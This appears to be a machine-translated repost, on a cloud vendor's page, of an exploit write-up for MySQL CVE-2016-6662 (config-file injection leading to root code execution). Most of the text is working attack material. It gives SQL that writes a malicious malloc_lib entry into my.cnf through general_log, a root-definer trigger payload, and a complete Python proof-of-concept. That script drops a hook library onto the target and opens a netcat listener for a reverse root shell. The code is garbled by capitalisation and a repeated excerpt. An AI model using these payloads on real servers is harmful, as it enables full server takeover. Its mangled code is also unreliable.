MySQL Code execution vulnerability

Source: Internet
Author: User
Tags mysql code mysql host mysql in file permissions cve

All default installation configurations for MySQL (5.7, 5.6, and 5.5), including the latest version, allow attackers to exploit the vulnerability remotely and locally. The vulnerability requires authentication to access the MySQL database (via a network connection or a Web interface like phpMyAdmin), as well as through SQL injection exploits. An attacker who successfully exploited the vulnerability could execute code with root privileges and take full control of the server.

Conditions of use: First you want to have a MySQL low-privileged user, only need to have the file permission (for example: the virtual host is usually provided, because import and export files need to be imported), you can achieve root privilege elevation, and then control the server.

----[/usr/bin/mysqld_safe]----
[...]
# Set_malloc_lib Lib
#-If LIB is empty, does nothing and return
#-If LIB is ' tcmalloc ', look for Tcmalloc shared library In/usr/lib
# then Pkglibdir. Tcmalloc is part of the Google Perftools project.
#-If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in Mysqld_ld_preload, which'll be added to Ld_preload when
# running MYSQLD. See ld.so for details.
Set_malloc_lib () {
Malloc_lib= "$"
If ["$malloc _lib" = Tcmalloc]; Then
Pkglibdir= ' Get_mysql_config--variable=pkglibdir '
malloc_lib=
# This list was kept intentionally simple. Simply Set--malloc-lib
# to a full path if the another is desired.
For Libdir in/usr/lib "$pkglibdir" "$pkglibdir/mysql"; Do
For flavor in _minimal ' _and_profiler _debug; Do
tmp= "$libdir/libtcmalloc$flavor.so"
#log_notice "debug:checking for malloc Lib ' $tmp '"
[-R "$tmp"] | | Continue
malloc_lib= "$tmp"
Break 2
Done
Done
[...]
----------[EOF]---------------

Through the manual we can learn that the--MALLOC-LIB=LIB option can load an so file, and if an attacker can inject the path information into the configuration file, it can execute arbitrary code when the MySQL service restarts.

Starting with 2003, the default via select * INFO OUTFILE '/var/lib/mysql/my.cnf ' is not able to overwrite the file, but we can use the MySQL logging (MySQL) feature to bypass outfile/ DumpFile the protection of the rewritten file, the attacker needs Select/file permissions.

Depending on the version of MySQL, the corresponding configuration file is also different.

For example, mysql5.5

/ETC/MY.CNF Global Options
/etc/mysql/my.cnfglobal Options
Sysconfdir/my.cnfglobal Options
$MYSQL _home/my.cnfserver-specific Options
Defaults-extra-filethe file specified with--defaults-extra-file=file_name, if any
~/.my.cnfuser-specific Options

We are using the overwrite/etc/my.cnf to inject malloc_lib= path option, the command is as follows:

----[/usr/bin/mysqld_safe]----
[...]
# Set_malloc_lib Lib
#-If LIB is empty, does nothing and return
#-If LIB is ' tcmalloc ', look for Tcmalloc shared library In/usr/lib
# then Pkglibdir. Tcmalloc is part of the Google Perftools project.
#-If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in Mysqld_ld_preload, which'll be added to Ld_preload when
# running MYSQLD. See ld.so for details.
Set_malloc_lib () {
Malloc_lib= "$"
If ["$malloc _lib" = Tcmalloc]; Then
Pkglibdir= ' Get_mysql_config--variable=pkglibdir '
malloc_lib=
# This list was kept intentionally simple. Simply Set--malloc-lib
# to a full path if the another is desired.
For Libdir in/usr/lib "$pkglibdir" "$pkglibdir/mysql"; Do
For flavor in _minimal ' _and_profiler _debug; Do
tmp= "$libdir/libtcmalloc$flavor.so"
#log_notice "debug:checking for malloc Lib ' $tmp '"
[-R "$tmp"] | | Continue
malloc_lib= "$tmp"
Break 2
Done
Done
[...]
----------[EOF]---------------
mysql> Set Global general_log_file = '/etc/my.cnf ';
mysql> Set Global general_log = on;
Mysql> Select '
' >
' >; Injected Config entry
' >
' > [mysqld]
' > malloc_lib=/tmp/mysql_exploit_lib.so
' >
' > [separator]
' >
' > ';
mysql> Set Global general_log = off;

Note: After modifying the configuration file, it will cause the MySQL reboot to fail.

The injected my.cnf file contains:

[Mysqld]
Malloc_lib=/tmp/mysql_exploit_lib.so
Mysqld_safe also loads the configuration file from the MySQL data directory, (/VAR/LIB/MYSQL/MY.CNF), which is removed from MySQL 5.7 and is no longer loaded, so even if the MySQL user does not have permission to modify the/etc/ MY.CNF can also be loaded with the following file

/var/lib/mysql/my.cnf
/var/lib/mysql/.my.cnf

You can overwrite a file with a trigger even without DBA authority

CREATE definer= ' root ' @ ' localhost ' TRIGGER appendtoconf
After INSERT
On ' active_table ' for each ROW
BEGIN
DECLARE void varchar (550);
Set global general_log_file= '/var/lib/mysql/my.cnf ';
Set global general_log = on;
Select "
[Mysqld]
malloc_lib= '/var/lib/mysql/mysql_hookandroot_lib.so '
"Into void;
Set global general_log = off;
END;
SELECT ' .... Trigger_code ... ' Into dumpfile/var/lib/mysql/activedb/active_table. TRG '

When the trigger is written successfully, it is loaded when it is refreshed, such as by executing an INSERT statement to refresh

INSERT into ' active_table ' VALUES (' xyz ');

Exp is as follows:

----------[0ldsql_mysql_rce_exploit.py]--------------
#!/usr/bin/python
# This is a limited version of the PoC exploit. It only allows appending to
# existing MySQL config files with weak permissions. See V) 1) section of
# The advisory for details on this vector.
#
# Full PoC is released at a later date, and would show how attackers could
# exploit the vulnerability on default installations of MySQL in systems with no
# writable MY.CNF config files available.
#
# The upcoming advisory cve-2016-6663 would also make the exploitation trivial
# for certain low-privileged attackers, that does not has a FILE privilege.
#
# See all advisory for details:
# Http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned;)
Intro = "" "
0ldsql_mysql_rce_exploit.py (ver. 1.0)
(cve-2016-6662) MySQL Remote Root Code execution/privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/coded by:
Dawid Golunski
Http://legalhackers.com
"""
Import Argparse
Import Mysql.connector
Import Binascii
Import subprocess
def info (str):
print "[+]" + str + "\ n"
def errmsg (str):
Print "[!]" + str + "\ n"
def shutdown (code):
if (code==0):
Info ("Exiting (code:%d) \ n"% code)
Else
ErrMsg ("Exiting (code:%d) \ n"% code)
Exit (Code)
cmd = "Rm-f/var/lib/mysql/pocdb/poctable. TRG; Rm-f/var/lib/mysql/mysql_hookandroot_lib.so "
Process = subprocess. Popen (cmd, shell=true, stdout=subprocess. PIPE, Stderr=subprocess. PIPE)
(result, error) = Process.communicate ()
rc = Process.wait ()
# Where would the library to be preloaded reside? /tmp might get emptied on reboot
#/var/lib/mysql is safer option (and MySQL can definitely write in there;)
Malloc_lib_path= '/var/lib/mysql/mysql_hookandroot_lib.so '
# Main Meat
Print Intro
# Parse Input args
Parser = Argparse. Argumentparser (prog= ' 0ldsql_mysql_rce_exploit.py ', description= ' PoC for MySQL Remote Root Code Execution/privesc cve-2016-6662 ')
Parser.add_argument ('-dbuser ', dest= ' Target_user ', required=true, help= ' MySQL username ')
Parser.add_argument ('-dbpass ', dest= ' Target_pass ', required=true, help= ' MySQL password ')
Parser.add_argument ('-dbname ', dest= ' target_db ', required=true, help= ' Remote MySQL database name ')
Parser.add_argument ('-dbhost ', dest= ' target_host ', required=true, help= ' Remote MySQL HOST ')
Parser.add_argument ('-mycnf ', dest= ' target_mycnf ', required=true, help= ' Remote my.cnf owned by MySQL user ')

args = Parser.parse_args ()
# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could is attached to existing tables)
info ("Connecting to target server%s and target MySQL account '%[email protected]%s ' using DB '%s '"% (args. Target_host, args. Target_user, args. Target_host, args. target_db))
Try
Dbconn = Mysql.connector.connect (User=args. Target_user, Password=args. Target_pass, Database=args. target_db, Host=args. Target_host)
Except Mysql.connector.Error as err:
ErrMsg ("Failed to connect to the target: {}". Format (ERR))
Shutdown (1)
Try
cursor = Dbconn.cursor ()
Cursor.execute ("SHOW GRANTS")
Except Mysql.connector.Error as err:
ErrMsg ("Something went wrong: {}". Format (ERR))
Shutdown (2)
Privs = Cursor.fetchall ()
Info ("The account on use has the following grants/perms:")
For Priv in Privs:
Print Priv[0]
Print ""
# Compile Mysql_hookandroot_lib.so Shared library that would eventually hook to the mysqld
# Process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# would not be load properly on the target.
Info ("Compiling mysql_hookandroot_lib.so")
cmd = "Gcc-wall-fpic-shared-o mysql_hookandroot_lib.so mysql_hookandroot_lib.c-ldl"
Process = subprocess. Popen (cmd, shell=true, stdout=subprocess. PIPE, Stderr=subprocess. PIPE)
(result, error) = Process.communicate ()
rc = Process.wait ()
If RC! = 0:
ErrMsg ("Failed to compile mysql_hookandroot_lib.so:%s"% cmd)
Print error
Shutdown (2)
# Load Mysql_hookandroot_lib.so Library and encode it into HEX
Info ("Converting mysql_hookandroot_lib.so into HEX")
Hookandrootlib_path = './mysql_hookandroot_lib.so '
With open (Hookandrootlib_path, ' RB ') as F:
Content = F.read ()
Hookandrootlib_hex = binascii.hexlify (content)
# Trigger payload that would elevate user privileges and sucessfully execute SET GLOBAL general_log
# decoded payload (paths may differ):
"""
DELIMITER//
CREATE definer= ' root ' @ ' localhost ' TRIGGER appendtoconf
After INSERT
On ' poctable ' for each ROW
BEGIN
DECLARE void varchar (550);
Set global general_log_file= '/var/lib/mysql/my.cnf ';
Set global general_log = on;
Select "
# 0ldsql_mysql_rce_exploit got here:)
[Mysqld]
malloc_lib= '/var/lib/mysql/mysql_hookandroot_lib.so '
[Abyss]
"Into void;
Set global general_log = off;
END; //
DELIMITER;
"""
Trigger_payload= "" "Type=triggers
triggers= ' CREATE definer= ' root ' @ ' localhost ' TRIGGER appendtoconf\\nafter insert\\n on ' poctable ' for each row\\nbegin\\ n\\n DECLARE void varchar (550) \\n Set global general_log_file=\\ '%s\\ '; \\n Set Global General_log = on;\\n Select   "\\n\\n# 0ldsql_mysql_rce_exploit got here:) \\n\\n[mysqld]\\nmalloc_lib=\\ '%s\\ ' \\n\\n[abyss]\\n" into void; \\n Set Global General_log = Off;\\n\\nend '
Sql_modes=0
definers= ' [email protected] '
client_cs_names= ' UTF8 '
connection_cl_names= ' Utf8_general_ci '
db_cl_names= ' Latin1_swedish_ci '
"" "% (args. TARGET_MYCNF, Malloc_lib_path)
# Convert trigger into HEX-pass it to Unhex () SQL function
Trigger_payload_hex = "". Join ("{: 02x}". Format (ord (c)) for C in Trigger_payload)
# Save trigger into a trigger file
Trg_path= "/var/lib/mysql/%s/poctable. TRG "% args. target_db
info ("Saving trigger payload into%s"% (Trg_path))
Try
cursor = Dbconn.cursor ()
Cursor.execute ("" "Select Unhex ("%s ") into DumpFile '%s '" ""% (Trigger_payload_hex, Trg_path))
Except Mysql.connector.Error as err:
ErrMsg ("Something went wrong: {}". Format (ERR))
Shutdown (4)
# Save library into a trigger file
Info ("Dumping shared library into%s file on the target"% Malloc_lib_path)
Try
cursor = Dbconn.cursor ()
Cursor.execute ("" "Select Unhex ("%s ") into DumpFile '%s '" ""% (Hookandrootlib_hex, Malloc_lib_path))
Except Mysql.connector.Error as err:
ErrMsg ("Something went wrong: {}". Format (ERR))
Shutdown (5)
# Creating Table poctable so that/var/lib/mysql/pocdb/poctable. TRG trigger gets loaded by the server
Info ("Creating table ' poctable ' so" injected ' poctable. TRG ' trigger gets Loaded ")
Try
cursor = Dbconn.cursor ()
Cursor.execute ("CREATE TABLE ' poctable ' (line varchar) engine= ' MyISAM '")
Except Mysql.connector.Error as err:
ErrMsg ("Something went wrong: {}". Format (ERR))
Shutdown (6)
# Finally, execute the trigger ' s payload by inserting anything into ' poctable '.
# The payload would write to the MySQL config file at this point.
Info ("Inserting data to ' poctable ' on order to execute the trigger and write data to the target MySQL config%s"% args. TARGET_MYCNF)
Try
cursor = Dbconn.cursor ()
Cursor.execute ("INSERT into ' poctable ' VALUES (' Execute the trigger! ');")
Except Mysql.connector.Error as err:
ErrMsg ("Something went wrong: {}". Format (ERR))
Shutdown (6)
# Check on the config, was just created
Info ("Showing The contents of%s config to verify, our setting (Malloc_lib) got injected"% args. TARGET_MYCNF)
Try
cursor = Dbconn.cursor ()
Cursor.execute ("Select Load_file ('%s ')"% args. TARGET_MYCNF)
Except Mysql.connector.Error as err:
ErrMsg ("Something went wrong: {}". Format (ERR))
Shutdown (2)
Finally
Dbconn.close () # Close DB connection
Print ""
Myconfig = Cursor.fetchall ()
Print Myconfig[0][0]
Info ("Looks messy? Have no fear, the preloaded Lib mysql_hookandroot_lib.so would clean up all the mess before mysqld Daemon even reads it:) " )
# Spawn a Shell listener using netcat on 6033 (inverted 3306 MySQL port so easy to remember;)
Info ("Everything is set up and ready. Spawning Netcat listener and waiting for MySQL daemon to get restarted to get our Rootshell ...:) ")
Listener = subprocess. Popen (args=["/bin/nc", "-LVP", "6033"])
Listener.communicate ()
Print ""
# Show config again after all the action was done
Info ("Shell closed. Hope had fun. ")
# Mission complete, but just ... Stay tuned:)
Info ("" "Stay tuned for the cve-2016-6663 advisory and/or a complete PoC that can craft a new valid MY.CNF (i.e no writable MY.CNF required);) "" ")
# Shutdown
Shutdown (0)

Excerpt from: http://m.bobao.360.cn/learning/detail/3025.html?from=timeline&isappinstalled=1

MySQL Code execution vulnerability

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.